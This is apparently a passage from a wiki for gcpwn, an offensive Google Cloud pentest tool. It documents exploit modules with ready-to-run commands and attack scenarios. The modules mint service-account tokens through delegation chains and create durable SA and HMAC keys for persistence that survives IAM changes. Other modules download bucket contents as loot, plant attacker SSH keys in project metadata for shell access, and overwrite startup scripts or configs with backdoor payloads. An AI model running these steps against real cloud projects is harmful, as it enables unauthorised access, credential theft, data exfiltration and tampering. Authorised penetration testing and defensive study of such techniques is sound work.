modules run exploit_generate_access_token

Direct token for a specific SA:

modules run exploit_generate_access_token \
  --target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL

Walk a delegation chain starting from a known SA:

modules run exploit_generate_access_token \
  --delegation serviceAccount:chain-start@PROJECT_ID.iam.gserviceaccount.com

Find all routes ending at a high-value SA:

modules run exploit_generate_access_token \
  --delegation-target projects/PROJECT_ID/serviceAccounts/admin-sa@PROJECT_ID.iam.gserviceaccount.com

Show all delegation routes in the cached IAM graph:

modules run exploit_generate_access_token --all-delegation

Non-interactive (one-liner):

gcpwn --module exploit_generate_access_token --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --target-sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL

Example Scenario

After running enum_gcp --iam, the IAM graph shows that your current SA has roles/iam.serviceAccountTokenCreator on data-pipeline@PROJECT_ID.iam.gserviceaccount.com. Mint a token for it:

modules run exploit_generate_access_token \
  --target-sa projects/PROJECT_ID/serviceAccounts/data-pipeline@PROJECT_ID.iam.gserviceaccount.com

Add the returned token as a credential:

creds add data-pipeline --type OAuth2 --token ya29.c.b0XXXXX...

exploit_service_account_keys

What It Does

Creates, enables, or disables user-managed service account keys via the IAM Admin API.

  • --create — generates a new key for the target SA. Returns a JSON key file that can be used for persistent, offline authentication — not subject to the 1-hour OAuth2 token expiry. With --assume, the key is immediately registered as a new credential in the workspace.
  • --enable — reactivates a disabled key (identified by --sa-key).
  • --disable — deactivates an existing key without deleting it (useful for stealth over delete).

Required Permissions

  • Create: iam.serviceAccountKeys.create on the target SA
  • Enable/Disable: iam.serviceAccountKeys.enable / iam.serviceAccountKeys.disable on the target SA

Flag Table

Flag Description Details
--create Create a new SA key Mutually exclusive with --enable / --disable
--enable Enable an existing SA key Requires --sa-key. Mutually exclusive with --create / --disable
--disable Disable an existing SA key Requires --sa-key. Mutually exclusive with --create / --enable
--sa Target SA resource name Format: projects/PID/serviceAccounts/EMAIL. Prompts from cache if omitted
--sa-key Key name/ID for enable/disable operations
--assume Assume the newly created key as a workspace credential Only for --create
-v, --debug Verbose output

Examples

Interactive (prompts for SA, action):

modules run exploit_service_account_keys

Create a key and assume the credential immediately:

modules run exploit_service_account_keys \
  --create \
  --sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
  --assume

Create a key without assuming (save the JSON for later):

modules run exploit_service_account_keys \
  --create \
  --sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL

Disable a specific key (tamper without deleting):

modules run exploit_service_account_keys \
  --disable \
  --sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
  --sa-key KEY_ID

Non-interactive (one-liner):

gcpwn --module exploit_service_account_keys --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --create \
  --sa projects/PROJECT_ID/serviceAccounts/TARGET_SA_EMAIL \
  --assume

Example Scenario

You have iam.serviceAccountKeys.create on admin-sa@PROJECT_ID.iam.gserviceaccount.com. Create a durable key and assume it for future offline use:

modules run exploit_service_account_keys \
  --create \
  --sa projects/PROJECT_ID/serviceAccounts/admin-sa@PROJECT_ID.iam.gserviceaccount.com \
  --assume

The key JSON is also saved to disk. Even after the session ends, this credential can be used directly with gcloud:

gcloud auth activate-service-account --key-file=key.json

exploit_storage_hmac

What It Does

Creates an HMAC key tied to a service account — a long-lived, AWS SigV4-compatible credential for the GCS XML API. HMAC keys persist independently of IAM changes (they are not revoked when the SA's IAM bindings are removed), making them useful for persistence. The module can also use an existing HMAC key to enumerate bucket names and list/download object contents via the S3-compatible XML API.

Required Permissions

  • storage.hmacKeys.create to create a new key
  • The HMAC key's SA needs storage.buckets.list / storage.objects.list / storage.objects.get to enumerate and download

Flag Table

Flag Description Details
--sa-email SA email to create the HMAC key for Prompts from cache if omitted. Mutually exclusive with --create (mode flag)
--create Create a new HMAC key Mutually exclusive with --sa-email (use --sa-email as the create path)
--access-id Existing HMAC access ID to operate with For listing/downloading without creating a new key. Mutually exclusive with --state
--state Filter keys by state ACTIVE, INACTIVE, DELETED. Mutually exclusive with --access-id
--update Update an existing key's state Used together with --access-id and --state
--buckets List buckets via the XML API using the HMAC key
--blobs List objects in buckets via the XML API
--download Download object bytes (loot) Requires --blobs
-v, --debug Verbose output

Examples

Interactive:

modules run exploit_storage_hmac

Create an HMAC key for a target SA and enumerate all buckets and objects:

modules run exploit_storage_hmac \
  --sa-email TARGET_SA_EMAIL \
  --buckets \
  --blobs

Create key, list objects, and download everything:

modules run exploit_storage_hmac \
  --sa-email TARGET_SA_EMAIL \
  --buckets \
  --blobs \
  --download

Use an existing HMAC key to enumerate:

modules run exploit_storage_hmac \
  --access-id GOOGXXXXXXXXXXXXXXXXXX \
  --buckets \
  --blobs \
  --download

Non-interactive (one-liner):

gcpwn --module exploit_storage_hmac --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --buckets \
  --blobs \
  --download

Example Scenario

You have storage.hmacKeys.create on storage-ro@PROJECT_ID.iam.gserviceaccount.com. Create an HMAC key to establish S3-compatible credentials that will survive future IAM changes:

modules run exploit_storage_hmac \
  --sa-email storage-ro@PROJECT_ID.iam.gserviceaccount.com \
  --buckets --blobs --download

The resulting HMAC access-id and hmac-secret can be used directly with AWS-CLI-compatible tools:

aws s3 ls --endpoint-url https://storage.googleapis.com --no-sign-request \
  # ... or with configured HMAC credentials

Or feed them back into exploit_bucket_upload with --access-id / --hmac-secret to upload payloads without needing the original IAM credential.


Infrastructure Write Access

These modules write attacker-controlled data into GCP infrastructure — SSH keys into instance metadata or payloads into GCS buckets.

exploit_instance_ssh_keys

What It Does

Adds an attacker SSH public key to Compute Engine metadata to gain SSH shell access. Two placement options:

  • Project-level (--project-level) — writes the key to the project's ssh-keys metadata, granting access to every instance in the project (unless a VM has block-project-ssh-keys=true set, or uses OS Login).
  • Instance-level (--instance-level) — writes the key to a single instance's metadata, granting access to only that VM.

Keys are appended to existing metadata by default. The --brute flag overwrites all existing metadata (dangerous — may break other services).

Required Permissions

  • Project-level: compute.projects.setCommonInstanceMetadata
  • Instance-level: compute.instances.setMetadata

Flag Table

Flag Description Details
--instance-name Target instance (for instance-level) Format: projects/PID/zones/ZONE/instances/NAME
--project-level Add SSH key to project metadata Grants access to all instances in the project
--instance-level Add SSH key to a specific instance's metadata Mutually exclusive with --project-level
--username SSH username associated with the key The OS user the key unlocks
--ssh-key SSH public key supplied inline (stdin) Mutually exclusive with --ssh-key-file
--ssh-key-file Path to SSH public key file e.g. ~/.ssh/id_ed25519.pub. Mutually exclusive with --ssh-key
--brute Overwrite ALL existing metadata WARNING: destructive
-v, --debug Verbose output

Examples

Interactive (prompts for level, instance, key, username):

modules run exploit_instance_ssh_keys

Add key to a specific instance:

modules run exploit_instance_ssh_keys \
  --instance-level \
  --instance-name projects/PROJECT_ID/zones/us-central1-a/instances/web-server \
  --ssh-key-file ~/.ssh/id_ed25519.pub \
  --username attacker

Add key to project metadata (access all instances):

modules run exploit_instance_ssh_keys \
  --project-level \
  --ssh-key-file ~/.ssh/id_ed25519.pub \
  --username attacker

Non-interactive (one-liner):

gcpwn --module exploit_instance_ssh_keys --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --instance-level \
  --instance-name projects/PROJECT_ID/zones/us-central1-a/instances/web-1 \
  --ssh-key-file ~/.ssh/id_ed25519.pub \
  --username attacker

SSH in after the key is added:

ssh -i ~/.ssh/id_ed25519 attacker@<EXTERNAL_IP>

Example Scenario

You hold compute.projects.setCommonInstanceMetadata. Add your key to the project and SSH into any instance:

modules run exploit_instance_ssh_keys --project-level \
  --ssh-key-file ~/.ssh/id_ed25519.pub \
  --username attacker

Then SSH using the external IP of any running VM in the project.


exploit_bucket_upload

What It Does

Uses write access to a GCS bucket by uploading an attacker-controlled payload to an arbitrary object path. The canonical use case is overwriting a configuration file or startup script that an application or service later reads — for example, replacing a deployment script in a configuration bucket that a Compute VM pulls at startup. Supports both standard session credentials and HMAC (S3-compatible XML API) authentication.

Required Permissions

  • storage.objects.create on the target bucket (to write a new object or overwrite an existing one)

Flag Table

Flag Description Details
--bucket Target bucket name (no gs:// prefix) Prompts from cached cloudstorage_buckets if omitted
--remote-blob-path Destination object path in the bucket e.g. configs/startup.sh, deploy/init.py
--local-blob-path Local file to upload Mutually exclusive with --data-string-base64
--data-string-base64 Base64-encoded payload string (decoded on upload) e.g. dGVzdAo=. Mutually exclusive with --local-blob-path
--access-id HMAC access ID to authenticate with the XML API Use together with --hmac-secret
--hmac-secret HMAC secret key for XML API authentication Use together with --access-id
-v, --debug Verbose output

If --local-blob-path and --data-string-base64 are both omitted, the module prompts interactively and lets you enter a local path or a Base64 string at the terminal.

Examples

Interactive (prompts for bucket, path, and content):

modules run exploit_bucket_upload

Upload a local payload file:

modules run exploit_bucket_upload \
  --bucket victim-configs \
  --remote-blob-path deploy/startup.sh \
  --local-blob-path ./payload.sh

Inline content via Base64:

modules run exploit_bucket_upload \
  --bucket victim-configs \
  --remote-blob-path etc/settings.json \
  --data-string-base64 eyJhZG1pbiI6IHRydWV9

Using an HMAC key (bypasses IAM; uses S3 XML API):

modules run exploit_bucket_upload \
  --bucket victim-bucket \
  --remote-blob-path backdoor.sh \
  --local-blob-path ./backdoor.sh \
  --access-id GOOGXXXXXXXXXXXXXXXXXX \
  --hmac-secret your-hmac-secret-here

Non-interactive (one-liner with full flags):

gcpwn --module exploit_bucket_upload --workspace WORKSPACE_NAME --cred CRED_NAME \
  --current-project \
  --bucket victim-configs \
  --remote-blob-path deploy/startup.sh \
  --local-blob-path ./payload.sh

Example Scenario

You hold storage.objects.create on a bucket called app-deploy. An App Engine app reads its config/settings.py from that bucket at startup. You can replace it with a version that executes an SSRF or backdoor:

modules run exploit_bucket_upload \
  --bucket app-deploy \
  --remote-blob-path config/settings.py \
  --local-blob-path ./payload_settings.py

Trigger a redeploy of the App Engine service to execute the script.


For the enumeration module catalog see CLI-Module-Reference. For privilege escalation path analysis see IAM-Enumeration-and-Analysis-Workflow. For OpenGraph attack-graph visualization see OpenGraph-Overview-and-Usage.

Clone this wiki locally